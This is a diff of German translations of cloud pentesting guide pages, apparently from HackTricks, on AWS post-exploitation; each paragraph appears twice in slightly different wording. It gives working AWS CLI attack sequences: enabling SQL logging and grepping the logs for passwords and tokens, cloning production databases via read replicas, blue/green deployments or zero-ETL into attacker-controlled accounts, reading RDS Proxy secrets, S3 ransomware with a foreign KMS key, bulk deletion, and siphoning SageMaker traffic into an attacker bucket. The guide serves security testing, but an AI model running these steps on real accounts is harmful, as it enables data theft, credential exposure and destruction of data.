Auswirkung: Persistenz und Datenexfiltration durch Wiederherstellen einer Kopie von Produktionsdaten in einer anderen Region und öffentliches Zugänglichmachen mit vom Angreifer kontrollierten Zugangsdaten.
<details>
<summary>End-to-end CLI (Platzhalter ersetzen)</summary>
<summary>End-to-end-CLI (Platzhalter ersetzen)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Aktiviere vollständiges SQL-Logging über DB-Parametergruppen und exfiltriere über RDS-Log-APIs
### Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren
Missbrauche `rds:ModifyDBParameterGroup` zusammen mit den RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Zugangsdaten erforderlich). Aktiviere das SQL-Logging der Engine und lade die Logdateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` herunter (oder die REST-Funktion `downloadCompleteLogFile`). Nützlich, um Abfragen zu sammeln, die Geheimnisse/PII/JWTs enthalten können.
Missbrauche `rds:ModifyDBParameterGroup` zusammen mit RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Zugangsdaten erforderlich). Aktiviere das SQL-Logging der Engine und lade die Logdateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` herunter (oder über die REST-Funktion `downloadCompleteLogFile`). Nützlich, um Abfragen zu sammeln, die Secrets/PII/JWTs enthalten könnten.
Benötigte Berechtigungen (mindestens):
Benötigte Berechtigungen (Minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (nur zum Anhängen einer benutzerdefinierten Parametergruppe, falls die Instanz die Standard-Parametergruppe verwendet)
- `rds:ModifyDBInstance` (nur um eine benutzerdefinierte Parametergruppe anzuhängen, falls die Instanz die Default-Gruppe verwendet)
- `rds:RebootDBInstance` (für Parameter, die einen Reboot erfordern, z. B. PostgreSQL)
Schritte
1) Recon das Ziel und die aktuelle Parametergruppe
1) Recon target und aktuelle Parametergruppe
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Stelle sicher, dass eine custom DB parameter group angehängt ist (das default kann nicht bearbeitet werden)
- Wenn die instance bereits eine custom group verwendet, verwende ihren Namen im nächsten Schritt.
- Andernfalls erstelle und hänge eine an, die zur engine family passt:
2) Stelle sicher, dass eine benutzerdefinierte DB-Parametergruppe angehängt ist (die Standardgruppe kann nicht bearbeitet werden)
- Wenn die Instanz bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
- Andernfalls erstelle und hänge eine passende zur Engine-Familie an:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,7 +232,7 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Ausführliches SQL-Logging aktivieren
3) Aktivieren Sie ausführliches SQL-Logging
- MySQL-Engines (sofort / kein Neustart):
```bash
aws rds modify-db-parameter-group \
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Workload laufen lassen (oder Abfragen erzeugen). Statements werden in die engine file logs geschrieben
4) Lassen Sie die Workload laufen (oder erzeugen Sie Abfragen). Statements werden in die Engine-Datei-Logs geschrieben
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Logs entdecken und herunterladen (keine DB creds erforderlich)
5) Logs entdecken und herunterladen (keine DB-Zugangsdaten erforderlich)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -275,14 +275,14 @@ aws rds download-db-log-file-portion \
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Beispielhafte Beweismittel (geschwärzt):
Beispielbeweismaterial (geschwärzt):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Bereinigung
- Parameter auf die Standardwerte zurücksetzen und bei Bedarf neu starten:
- Parameter auf Standardwerte zurücksetzen und bei Bedarf neu starten:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Auswirkung: Post-exploitation-Datenzugriff durch Abfangen aller Anwendungs-SQL-Statements über AWS APIs (keine DB creds), potenziell leaking von secrets, JWTs und PII.
Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen via AWS APIs (no DB creds), potenziell leaking secrets, JWTs und PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Missbrauch von RDS read replicas, um Out-of-band-Lesezugriff zu erhalten, ohne die Zugangsdaten der primary instance zu berühren. Ein Angreifer kann eine read replica von einer Produktionsinstanz erstellen, das master password der replica zurücksetzen (dies ändert das primary nicht) und optional die replica öffentlich machen, um Daten zu exfiltrieren.
Missbrauche RDS read replicas, um out-of-band Lesezugriff zu erhalten, ohne die primary instance credentials zu berühren. Ein Angreifer kann aus einer Produktionsinstanz eine read replica erstellen, das replica's master password zurücksetzen (dies ändert das primary nicht) und optional die Replica öffentlich exponieren, um Daten zu exfiltrieren.
Benötigte Berechtigungen (mindestens):
Permissions needed (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (wenn öffentlich exponiert)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Auswirkung: Lesezugriff auf Produktionsdaten über eine replica mit vom Angreifer kontrollierten credentials; geringere Erkennungswahrscheinlichkeit, da das primary unberührt bleibt und die Replikation weiterläuft.
Auswirkung: Read-only Zugriff auf Produktionsdaten über eine Replica mit attacker-controlled credentials; geringere Wahrscheinlichkeit entdeckt zu werden, da das primary unberührt bleibt und replication weiterläuft.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -340,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Beispielnachweis (MySQL):
- Status der Replica-DB: `available`, Lese-Replikation: `replicating`
- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die schreibgeschützten Zugriff auf die Replica bestätigt.
Beispielhafte Hinweise (MySQL):
- Status der Replica-DB: `available`, Read-Replikation: `replicating`
- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die den schreibgeschützten Replica-Zugriff bestätigt.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
RDS Blue/Green ausnutzen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte green-Umgebung zu klonen. Danach die Green-Master-Zugangsdaten zurücksetzen, um auf die Daten zuzugreifen, ohne die Blue-(prod-)Instanz zu berühren. Das ist unauffälliger als das Teilen von Snapshots und umgeht oft Monitoring, das nur auf die Quelle fokussiert ist.
Missbrauche RDS Blue/Green, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte Green-Umgebung zu klonen. Setze dann die Green master credentials zurück, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz zu berühren. Dies ist unauffälliger als snapshot sharing und umgeht oft Monitoring, das nur auf die source fokussiert ist.
```bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,18 +393,19 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Auswirkung: Lesezugriff, aber vollständiger Datenzugriff auf einen nahezu-Echtzeit-Klon der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenerfassung und Offline-Analyse.
Auswirkung: Nur-Lese, aber vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für verdeckte Datenausleitung und Offline-Analyse.
### Out-of-band SQL via RDS Data API durch Aktivieren des HTTP-Endpunkts + Zurücksetzen des Master-Passworts
Missbrauche Aurora, um den RDS Data API HTTP-Endpunkt auf einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Missbrauche Aurora, um den RDS Data API HTTP-Endpoint auf einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert bei Aurora-Engines, die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
- rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement falls verwendet)
Auswirkung: Netzsegmentierung umgehen und exfiltrate data via AWS APIs ohne direkte VPC-Konnektivität zur DB.
Auswirkung: Bypass network segmentation und exfiltrate Daten über AWS APIs ohne direkte VPC-Konnektivität zur DB.
<details>
<summary>End-to-end-CLI (Aurora MySQL-Beispiel)</summary>
@@ -460,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
Hinweise:
- Wenn mehrzeilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled auf False.
- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung zeigt, verwende rds enable-http-endpoint --resource-arn.
- Stelle sicher, dass die Engine/Version tatsächlich die Data API unterstützt; andernfalls bleibt HttpEndpointEnabled auf False.
### DB-Zugangsdaten über RDS Proxy auth-Secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### DB-Zugangsdaten über RDS Proxy Auth-Secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Missbrauche die RDS Proxy-Konfiguration, um das Secrets Manager-Secret zu finden, das für die Backend-Authentifizierung verwendet wird, und lese dann das Secret aus, um Datenbank-Anmeldeinformationen zu erhalten. In vielen Umgebungen ist `secretsmanager:GetSecretValue` breitgewährt, was dies zu einem niedrigschwelligen Pivot zu DB-Creds macht. Wenn das Secret eine CMK verwendet, können fehlkonfigurierte KMS-Berechtigungen außerdem `kms:Decrypt` erlauben.
Missbrauche die RDS Proxy-Konfiguration, um das für die Backend-Authentifizierung verwendete Secrets Manager secret zu finden, und lese dann das Secret aus, um Datenbank-Zugangsdaten zu erhalten. In vielen Umgebungen wird breit gefasstes `secretsmanager:GetSecretValue` gewährt, wodurch dies ein geringer Aufwand-Pivot zu DB-Zugangsdaten ist. Verwendet das Secret einen CMK, können fehlkonfigurierte KMS-Berechtigungen außerdem `kms:Decrypt` erlauben.
Erforderliche Berechtigungen (mindestens):
Erforderliche Berechtigungen (Minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` auf dem referenzierten SecretArn
- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` auf diesem Schlüssel
- Optional, wenn das Secret einen CMK verwendet: `kms:Decrypt` auf diesem Key
Auswirkung: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weitere laterale Bewegung.
Auswirkung: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/Passworts; ermöglicht direkten DB-Zugriff oder weitere lateral movement.
Schritte
```bash
@@ -489,7 +490,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Lab (minimal zur Reproduktion)
Labor (minimal zur Reproduktion)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -508,7 +509,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Aufräumen (Lab)
Bereinigung (Lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
@@ -517,18 +518,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
```
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
Missbrauch der Aurora PostgreSQL zero‑ETL-Integration, um Produktionsdaten kontinuierlich in einen von Ihnen kontrollierten Redshift Serverless‑Namespace zu replizieren. Mit einer permissiven Redshift‑Resource‑Policy, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora‑Cluster‑ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit laufende Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerk‑Exposition.
Missbrauche Aurora PostgreSQL zero‑ETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless Namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora-Cluster-ARN autorisiert, kann ein Angreifer eine nahezu Echtzeit-Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkexposition.
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (zum Abfragen)
- `rds-data:ExecuteStatement` (optional; um bei Bedarf Daten einzuspeisen)
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Redshift Serverless Namespace + Workgroup erstellen</summary>
<summary>1) Redshift Serverless namespace + workgroup erstellen</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -575,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Aurora PostgreSQL-Cluster erstellen (Data API und logische Replikation aktivieren)</summary>
<summary>3) Erstellen eines Aurora PostgreSQL-Clusters (Data API und logical replication aktivieren)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -606,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
</details>
<details>
<summary>4) Erstellen Sie die zero‑ETL-Integration von RDS</summary>
<summary>4) Erstelle die zero‑ETL-Integration von RDS</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -633,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
Im Test beobachtete Hinweise:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und den Zustand PendingDbConnectState vor der DB-Erstellung.
- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; eine Abfrage auf ztl.customers lieferte 2 Zeilen (Alice, Bob).
Auswirkung: Kontinuierliche, nahezu in Echtzeit erfolgende Exfiltration ausgewählter Aurora PostgreSQL-Tabellen in Redshift Serverless, das vom Angreifer kontrolliert wird, ohne database credentials, backups oder network access zum Quell-Cluster zu verwenden.
Auswirkung: Kontinuierliche nahezu‑Echtzeit exfiltration ausgewählter Aurora PostgreSQL-Tabellen in vom Angreifer kontrolliertes Redshift Serverless, ohne Datenbank-Anmeldeinformationen, Backups oder Netzwerkzugriff auf den Quell-Cluster zu verwenden.
{{#include ../../../../banners/hacktricks-training.md}}

24
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
View File

@@ -12,30 +12,30 @@ Für weitere Informationen siehe:
### Sensitive Information
Manchmal findet man lesbare, sensible Informationen in Buckets. Zum Beispiel terraform state secrets.
Manchmal wirst du in den Buckets lesbare, sensible Informationen finden können. Zum Beispiel terraform state secrets.
### Pivoting
Different platforms could be using S3 to store sensitive assets.\
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Ein Angreifer mit Schreibrechten könnte den **Code im Bucket verändern**, um auf andere Plattformen zu **pivoten** oder durch das Ändern von JS-Dateien **Accounts zu übernehmen**.
Verschiedene Plattformen könnten S3 zum Speichern sensibler Assets verwenden.\
Zum Beispiel könnte **airflow** dort **DAGs** **code** ablegen, oder **web pages** könnten direkt von S3 ausgeliefert werden. Ein Angreifer mit Schreibberechtigungen könnte **modify the code** im Bucket verwenden, um auf andere Plattformen zu **pivot**, oder durch Änderung von JS-Dateien **takeover accounts**.
### S3 Ransomware
In diesem Szenario erstellt der **Angreifer einen KMS (Key Management Service) key in seinem eigenen AWS account** oder in einem anderen kompromittierten Account. Anschließend macht er diesen **Key für jeden auf der Welt zugänglich**, sodass jeder AWS user, role oder account Objekte mit diesem Key verschlüsseln kann. Die Objekte können jedoch nicht wieder entschlüsselt werden.
In diesem Szenario **erstellt der Angreifer einen KMS (Key Management Service) key in seinem eigenen AWS account** oder in einem anderen kompromittierten Account. Anschließend macht er diesen **key für jeden auf der Welt zugänglich**, sodass jeder AWS-Benutzer, jede Rolle oder jedes Konto Objekte mit diesem Key verschlüsseln kann. Die Objekte können jedoch nicht entschlüsselt werden.
Der Angreifer identifiziert ein Ziel-S3-Bucket und erhält Schreibzugriff darauf über verschiedene Methoden. Das kann durch eine schlecht konfigurierte, öffentlich zugängliche Bucket-Policy passieren oder dadurch, dass der Angreifer Zugang zur AWS-Umgebung selbst erlangt. Der Angreifer zielt typischerweise auf Buckets mit sensiblen Informationen wie PII, PHI, Logs, Backups usw.
Der Angreifer identifiziert ein Ziel-S3-Bucket und erlangt Schreibzugriff darauf, indem er verschiedene Methoden anwendet. Das kann an einer schlecht konfigurierten, öffentlich zugänglichen Bucket liegen oder daran, dass der Angreifer Zugang zur AWS-Umgebung selbst erlangt hat. Typischerweise zielt der Angreifer auf Buckets mit sensiblen Daten ab, wie PII, PHI, Logs, Backups usw.
Um zu prüfen, ob das Bucket für Ransomware geeignet ist, überprüft der Angreifer dessen Konfiguration. Dazu gehört zu verifizieren, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Sind sowohl Object Versioning als auch MFA delete aktiviert, wird es für den Angreifer deutlich schwieriger, dieses Bucket mit Ransomware zu attackieren.
Um festzustellen, ob ein Bucket für Ransomware geeignet ist, überprüft der Angreifer dessen Konfiguration. Dazu gehört die Kontrolle, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Ist Object Versioning aktiviert, aber MFA delete deaktiviert, kann der Angreifer **Object Versioning deaktivieren**. Sind sowohl Object Versioning als auch MFA delete aktiviert, wird es deutlich schwieriger, dieses Bucket zu verschlüsseln.
Über die AWS API ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie, die mit seinem KMS key erstellt wurde. Dadurch werden die Daten im Bucket effektiv verschlüsselt und sind ohne den Key nicht mehr zugänglich.
Über die AWS API ersetzt der Angreifer jedes Objekt im Bucket durch eine mit seinem KMS-Schlüssel verschlüsselte Kopie. Dadurch werden die Daten im Bucket effektiv verschlüsselt und ohne den Key unzugänglich.
Um zusätzlichen Druck aufzubauen, plant der Angreifer die Löschung des in der Attacke verwendeten KMS keys. Dadurch hat das Opfer ein 7-tägiges Fenster, um seine Daten wiederherzustellen, bevor der Key gelöscht wird und die Daten dauerhaft verloren sind.
Um den Druck zu erhöhen, plant der Angreifer die Löschung des für den Angriff verwendeten KMS-Keys. Dadurch hat das Ziel ein 7-Tage-Fenster, um seine Daten wiederherzustellen, bevor der Key gelöscht wird und die Daten dauerhaft verloren sind.
Schließlich könnte der Angreifer eine finale Datei hochladen, üblicherweise mit dem Namen "ransom-note.txt", die Anweisungen für das Opfer enthält, wie es seine Dateien zurückerhalten kann. Diese Datei wird unverschlüsselt hochgeladen, vermutlich um die Aufmerksamkeit des Opfers zu erregen und auf den Ransomware-Angriff hinzuweisen.
Abschließend könnte der Angreifer eine finale Datei hochladen, üblicherweise namens "ransom-note.txt", die Anweisungen enthält, wie das Ziel seine Dateien zurückbekommen soll. Diese Datei wird unverschlüsselt hochgeladen, um die Aufmerksamkeit des Ziels zu erregen und auf den Ransomware-Angriff hinzuweisen.
### `s3:RestoreObject`
Ein Angreifer mit der Berechtigung s3:RestoreObject kann in Glacier oder Deep Archive archivierte Objekte reaktivieren und sie temporär zugänglich machen. Dadurch wird die Wiederherstellung und Exfiltration historisch archivierter Daten (Backups, Snapshots, Logs, Zertifikate, alte Secrets) möglich, die normalerweise nicht erreichbar wären. Kombiniert der Angreifer diese Berechtigung mit Leserechten (z. B. s3:GetObject), kann er vollständige Kopien sensibler Daten erhalten.
Ein Angreifer mit der Berechtigung `s3:RestoreObject` kann Objekte reaktivieren, die in Glacier oder Deep Archive archiviert sind, und sie vorübergehend zugänglich machen. Das ermöglicht die Wiederherstellung und Exfiltration historisch archivierter Daten (Backups, Snapshots, Logs, Zertifikate, alte Secrets), die normalerweise nicht erreichbar wären. Kombiniert der Angreifer diese Berechtigung mit Leserechten (z. B. `s3:GetObject`), kann er vollständige Kopien sensibler Daten erhalten.
```bash
aws s3api restore-object \
--bucket <BUCKET_NAME> \
@@ -47,7 +47,7 @@ aws s3api restore-object \
```
### `s3:Delete*`
Ein Angreifer mit der s3:Delete*-Berechtigung kann Objekte, Versionen und ganze Buckets löschen, Backups stören und sofortigen sowie irreversiblen Datenverlust verursachen, Beweismaterial vernichten und Backup- oder Wiederherstellungsartefakte kompromittieren.
Ein Angreifer mit der s3:Delete*-Berechtigung kann Objekte, Versionen und komplette Buckets löschen, Backups stören und sofortigen sowie irreversiblen Datenverlust, Vernichtung von Beweismitteln und Kompromittierung von Backup- oder Wiederherstellungsartefakten verursachen.
```bash
# Delete an object from a bucket
aws s3api delete-object \
@@ -64,6 +64,6 @@ aws s3api delete-object \
aws s3api delete-bucket \
--bucket <BUCKET_NAME>
```
**Für mehr Infos** [**siehe die Originalforschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
**Für weitere Informationen** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}

71
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
View File

@@ -4,16 +4,16 @@
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Missbrauch des SageMaker-Endpoint-Managements, um die vollständige Erfassung von Requests/Responses in einen vom Angreifer kontrollierten S3-Bucket zu ermöglichen, ohne das Modell oder den Container anzufassen. Verwendet ein Zero-/Low‑Downtime-Rolling-Update und erfordert nur Berechtigungen für die Endpoint-Verwaltung.
Missbrauche SageMaker Endpoint-Management, um vollständige Request-/Response-Erfassung in einen vom Angreifer kontrollierten S3-Bucket zu ermöglichen, ohne das Modell oder den Container zu verändern. Verwendet ein Rolling-Update mit null/geringer Ausfallzeit und erfordert nur Endpoint-Management-Berechtigungen.
### Anforderungen
### Voraussetzungen
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (oder verwende einen bestehenden Bucket im selben Account)
- Optional (bei Verwendung von SSE‑KMS): `kms:Encrypt` auf dem gewählten CMK
- Ziel: Ein bestehender InService real‑time endpoint im selben Account/Region
- S3: `s3:CreateBucket` (oder benutze einen vorhandenen Bucket im selben Account)
- Optional (bei Verwendung von SSE‑KMS): `kms:Encrypt` auf dem ausgewählten CMK
- Ziel: Ein vorhandener InService Echtzeit-Endpoint im selben Account/Region
### Schritte
1) Identifiziere einen InService-Endpoint und sammle die aktuellen production variants
1) Identifiziere einen InService-Endpoint und sammle die aktuellen Produktionsvarianten
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) S3-Ziel des Angreifers für captures vorbereiten
2) Bereite attacker S3-Ziel für captures vor
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Erstelle eine neue EndpointConfig, die dieselben Varianten beibält, aber DataCapture zum attacker bucket aktiviert
3) Erstelle eine neue EndpointConfig, die die gleichen Varianten beibehält, aber DataCapture für den attacker bucket aktiviert
Hinweis: Verwende explizite Content-Types, die die CLI-Validierung erfüllen.
Hinweis: Verwende explizite Content-Types, die der CLI-Validierung genügen.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,34 +54,35 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Wende die neue Konfiguration mit einem rolling update an (minimale/keine Ausfallzeit)
4) Wende die neue Konfiguration mit einem Rolling-Update an (minimale/keine Ausfallzeit)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Generiere mindestens einen Inferenz-Aufruf (optional, wenn Live-Traffic vorhanden ist)
5) Erzeuge mindestens einen Inferenz-Aufruf (optional, falls Live-Traffic vorhanden ist)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Validieren Sie captures im Angreifer-S3
6) Validiere captures in attacker S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Auswirkungen
- Vollständige exfiltration von Echtzeit-inference-Anfrage- und Antwort-Payloads (und Metadaten) vom zielgerichteten Endpoint in einen vom Angreifer kontrollierten S3-Bucket.
- Keine Änderungen am model/container image und nur Änderungen auf Endpoint-Ebene, wodurch ein unauffälliger Pfad für Datendiebstahl mit minimalen Betriebsstörungen ermöglicht wird.
- Vollständige Exfiltration von Echtzeit-Inferenz‑Anfrage- und Antwort-payloads (und Metadaten) vom angegriffenen Endpoint in ein vom Angreifer kontrolliertes S3-Bucket.
- Keine Änderungen am Modell/Container-Image und nur Änderungen auf Endpoint‑Ebene, wodurch ein unauffälliger Daten-Diebstahlpfad mit minimalen betrieblichen Störungen entsteht.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
